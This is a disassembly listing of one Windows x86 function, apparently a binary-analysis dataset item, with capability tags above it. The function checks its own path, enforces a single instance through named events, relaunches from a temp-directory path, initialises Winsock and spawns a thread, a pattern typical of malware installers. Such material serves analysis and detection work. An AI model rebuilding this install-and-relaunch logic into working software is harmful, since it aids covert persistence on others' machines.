Function at 0x401320
Capabilities:
Create process on windows
Create thread
Get common file path
Initialize winsock library
Terminate process

Disassembly:
sub esp, 0xc00
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0xbfc], eax
mov eax, dword [esp + 0xc04]
push ebx
push ebp
push esi
push edi
push 0
push eax
push 0
push 0
push 0
push closesocket
push 0
push closesocket
push 0xcf0000
push 0x424648
push 0x424580
push 0
mov dword [0x424710], eax
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x40178d
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa0a]
push ecx
mov word [esp + reloc.crypt32.dll_CertDeleteCRLFromStore], ax
call fcn.0040f8c0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x1ea]
push eax
mov word [esp + reloc.crypt32.dll_CertDeleteCRLFromStore], dx
call fcn.0040f8c0
add esp, 0xc
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x5fa]
push edx
mov word [esp + reloc.crypt32.dll_CertDeleteCRLFromStore], cx
call fcn.0040f8c0
add esp, 0xc
push 0x104
lea eax, [esp + 0xa04]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, 0x41dc68
mov eax, 0x425150
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40141d
test dx, dx
je 0x401419
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40141d
add eax, 4
add ecx, 4
test dx, dx
jne 0x4013f7
xor eax, eax
jmp 0x401422
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x401613
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x3f2]
push edx
mov word [esp + reloc.crypt32.dll_CertDeleteCRLFromStore], cx
call fcn.0040f8c0
add esp, 0xc
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x802]
push ecx
mov word [esp + reloc.crypt32.dll_CertDeleteCRLFromStore], ax
call fcn.0040f8c0
add esp, 0xc
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + reloc.crypt32.dll_CertDeleteCRLFromStore]
mov word [esp + eax + reloc.crypt32.dll_CertDeleteCRLFromStore], cx
add eax, 2
test cx, cx
jne 0x401470
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + reloc.crypt32.dll_CertDeleteCRLFromStore]
mov word [esp + eax + reloc.crypt32.dll_CertDeleteCRLFromStore], cx
add eax, 2
test cx, cx
jne 0x401490
lea eax, [esp + 0x7f8]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x4014b2
mov edx, dword [0x41dc9c]
mov ecx, dword [0x41dca0]
mov edi, dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [eax], edx
mov edx, dword [0x41dca4]
mov dword [eax + 4], ecx
mov dword [eax + 8], edx
lea eax, [esp + 0x3e8]
push eax
push 0
push 0x20000
call edi
test eax, eax
je 0x401555
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebx
lea ecx, [esp + 0x7f8]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
lea edx, [esp + 0x3e8]
push edx
xor esi, esi
push esi
push 0x20000
call edi
test eax, eax
je 0x401555
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
lea esp, [esp]
cmp esi, 5
jge 0x401555
push eax
call ebx
push 0xc8
inc esi
call ebp
lea eax, [esp + 0x3e8]
push eax
push 0
push 0x20000
call edi
test eax, eax
jne 0x401530
push 0x208
lea ecx, [esp + 0x1e4]
push 0
push ecx
call fcn.0040f8c0
add esp, 0xc
lea edx, [esp + 0x1e0]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x208
lea eax, [esp + 0x5f4]
push 0
push eax
call fcn.0040f8c0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040aa3a
add esp, 4
lea ecx, [esp + 0x5f0]
push ecx
push 6
mov eax, 7
call fcn.004030a0
lea edx, [esp + 0x5f8]
push edx
lea eax, [esp + 0x1ec]
push eax
mov ecx, eax
push 0x41dca8
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
lea edx, [esp + 0x1f8]
push 0x32
push edx
lea eax, [esp + 0xa20]
call fcn.00401ba0
add esp, 0x20
push 1
push 0
push 0x41dc68
lea eax, [esp + 0x1ec]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [esp + 0x10]
push ecx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x424ed0
call fcn.0040a7d0
add esp, 4
test eax, eax
jne 0x401729
xor edx, edx
push 0x3a
push edx
lea eax, [esp + 0x1ae]
push eax
mov word [esp + reloc.crypt32.dll_CertDeleteCRLFromStore], dx
call fcn.0040f8c0
add esp, 0xc
lea edi, [esp + 0x1a4]
call fcn.00401000
xor eax, eax
jmp 0x401670
movzx ecx, word [esp + eax + reloc.crypt32.dll_CertDeleteCRLFromStore]
mov word [eax + 0x425078], cx
add eax, 2
test cx, cx
jne 0x401670
push 0x41dcbc
push 0x40
push 0x424ed4
call fcn.0040aa6e
add esp, 0xc
push 0x41dcd8
mov ecx, 0x51
push 0x10
push 0x424f56
mov word [0x424f54], cx
call fcn.0040aa6e
add esp, 0xc
push 0x41dce4
push 0x40
push 0x424f76
call fcn.0040aa6e
mov edx, 0x2b66
add esp, 0xc
mov word [0x424ff6], dx
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [esp + eax + reloc.crypt32.dll_CertDeleteCRLFromStore]
mov word [eax + 0x425058], cx
add eax, 2
test cx, cx
jne 0x4016e0
mov eax, 0x425058
add eax, 0xfffffffe
nop
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x401700
mov ecx, dword [0x41dd00]
mov dx, word [0x41dd04]
mov dword [eax], ecx
mov word [eax + 4], dx
mov dword [0x425098], 5
call fcn.00401a20
mov eax, 0x4250d0
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x401736
mov ecx, dword [0x41dc8c]
mov edx, dword [0x41dc90]
mov dword [eax], ecx
mov ecx, dword [0x41dc94]
mov dword [eax + 4], edx
mov edx, dword [0x41dc98]
mov dword [eax + 8], ecx
push 0x7d0
mov dword [eax + 0xc], edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4250d0
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x401791
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4017d9
push 0x4250d0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x40178d
mov ecx, 0x425568
call fcn.004028d0
mov eax, dword [0x42509c]
push 0
push 0
push 0
push 0x401960
push 0
push 0
mov dword [0x425570], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x423608], eax
mov eax, 1
mov ecx, dword [esp + 0xc0c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040a982
add esp, 0xc00
ret